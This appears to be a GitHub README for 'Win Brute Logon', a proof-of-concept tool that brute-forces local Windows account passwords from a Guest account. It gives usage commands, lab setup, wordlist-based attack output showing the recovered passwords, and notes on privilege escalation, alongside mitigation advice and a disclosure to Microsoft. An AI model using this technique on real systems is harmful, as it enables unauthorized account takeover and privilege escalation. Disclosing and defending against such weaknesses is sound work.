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⚠️ This PoC was ported in pure PowerShell: https://github.com/DarkCoderSc/power-brute-logon

Win Brute Logon (Proof Of Concept)

Release date: 2020-05-14

Target: Windows XP to Latest Windows 10 Version (1909)

Console

Weakness location : LogonUserA, LogonUserW, CreateProcessWithLogonA, CreateProcessWithLogonW

Usage

Wordlist File

WinBruteLogon.exe -u <username> -w <wordlist_file>

Stdin Wordlist

type <wordlist_file> | WinBruteLogon.exe -u <username> -

ChangeLog

2020/05/23

  • Now support stdin for wordlist.
  • Few code optimization.

Introduction

This PoC is more what I would call a serious weakness in Microsoft Windows Authentication mechanism than a vulnerability.

The biggest issue is related to the lack of privilege required to perform such actions.

Indeed, from a Guest account (The most limited account on Microsoft Windows), you can crack the password of any available local users.

Find out which users exists using command : net user

This PoC is using multithreading to speed up the process and support both 32 and 64bit.

PoC Test Scenario (With a Guest Account)

Tested on Windows 10

Install and configure a freshly updated Windows 10 virtual or physical machine.

In my case full Windows version was : 1909 (OS Build 18363.778)

Log as administrator and lets create two different accounts : one administrator and one regular user. Both users are local.

/!\ Important notice: I used the Guest account for the demo but this PoC is not only limited to Guest account, it will work from any account / group (guest user / regular user / admin user etc...)

Create a new admin user

net user darkcodersc /add

net user darkcodersc trousers (trousers is the password)

net localgroup administrators darkcodersc /add

Create a regular user

net user HackMe /add

net user HackMe ozlq6qwm (ozlq6qwm is the password)

Create a new Guest account

net user GuestUser /add

net localgroup users GuestUser /delete

net localgroup guests GuestUser /add

Get a Wordlist

In my case both trousers and ozlq6qwm are in SecList : https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt

Start the attack

Logoff from administrator account or restart your machine and log to the Guest account.

Place the PoC executable anywhere you have access as Guest user.

Usage : WinBruteLogon.exe -v -u <username> -w <wordlist_file>

-v is optional, it design the verbose mode.

By default, domain name is the value designated by %USERDOMAIN% env var. You can specify a custom name with option -d

Crack First User : darkcodersc (Administrator)

prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt

Wait few seconds to see the following result:

[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06

Crack Second User : HackMe (Regular User)

prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt

Wait few seconds to see the following result:

[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06

Real world scenario

If you gain access to a low privileged user, you could crack the password of a more privileged user and escalate your privilege.

Mitigation (General)

  • Disable guest(s) account(s) if present.
  • Application white-listing.
  • Follow the guidelines to create and keep a password strong. Apply this to all users.

Implement Security Lockout Policy (Not present by default)

Open secpol.msc then go to Account Policies > Account Lockout Policy and edit value Account lockout threshold with desired value from (1 to 999).

Value represent the number of possible attempt before getting locked.

/!\ LockDown Policy wont work on Administrator account. At this moment, best protection for Administrator account (if Enabled) is to setup a very complex password.

Weakness Report

A report was sent to Microsoft Security Team.

They should at least implement by default account lockout. Actually it is not.